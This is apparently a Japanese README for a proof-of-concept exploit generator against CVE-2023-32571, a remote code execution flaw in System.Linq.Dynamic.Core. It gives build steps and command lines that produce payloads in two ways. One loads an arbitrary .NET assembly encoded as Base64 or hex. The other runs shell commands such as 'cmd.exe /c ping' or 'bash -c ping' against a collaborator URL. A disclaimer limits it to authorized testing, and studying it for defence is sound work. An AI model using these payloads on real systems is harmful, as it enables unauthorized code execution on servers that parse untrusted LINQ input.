
CVE-2023-32571 の Proof of Concept です。System.Linq.Dynamic.Core (1.0.7.10 から 1.2.25) におけるリモートコード実行の脆弱性です。この脆弱性により、Where、Select、OrderBy などのメソッドに信頼できない入力が解析された場合、攻撃者は任意のコードやコマンドを実行できます。
このツールは 教育および許可されたテスト目的のみ で提供されます。事前の相互同意なしにターゲットを攻撃するためにこのツールを使用することは違法です。開発者は一切の責任を負わず、このプログラムによって引き起こされた誤用や損害についての責任を負いません。
dotnet build --configuration Release
Payload/bin/Release/netstandard2.0/Payload.dllGenerator/bin/Release/net9.0/Generator.dllこのツールは2つのモードをサポートしています:
# Base64 エンコーディングを使用
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 1
# Hex エンコーディングを使用
./Generator --mode 0 --file Payload.dll --type Payload --parameters "\"<your-collaborator-url>\"" --encoding 0
# Base64 エンコーディングを使用
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 1
# Hex エンコーディングを使用
Generator.exe --mode 0 --file Payload.dll --type Payload --parameters "`"<your-collaborator-url>`"" --encoding 0
# Windows コマンド実行
./Generator --mode 1 --parameters "cmd.exe /c ping <your-collaborator-url>"
# Linux コマンド実行
./Generator --mode 1 --parameters "bash -c ping <your-collaborator-url>"
--mode: エクスプロイトモード (0=AssemblyLoad, 1=ProcessStart)--file: ロードする .NET アセンブリのパス (AssemblyLoad モードで必須)--type: インスタンス化する完全修飾型名 (AssemblyLoad モードで必須)--parameters: モードに基づくパラメーター:
--encoding: AssemblyLoad モードのエンコーディング方式 (0=Hex, 1=Base64)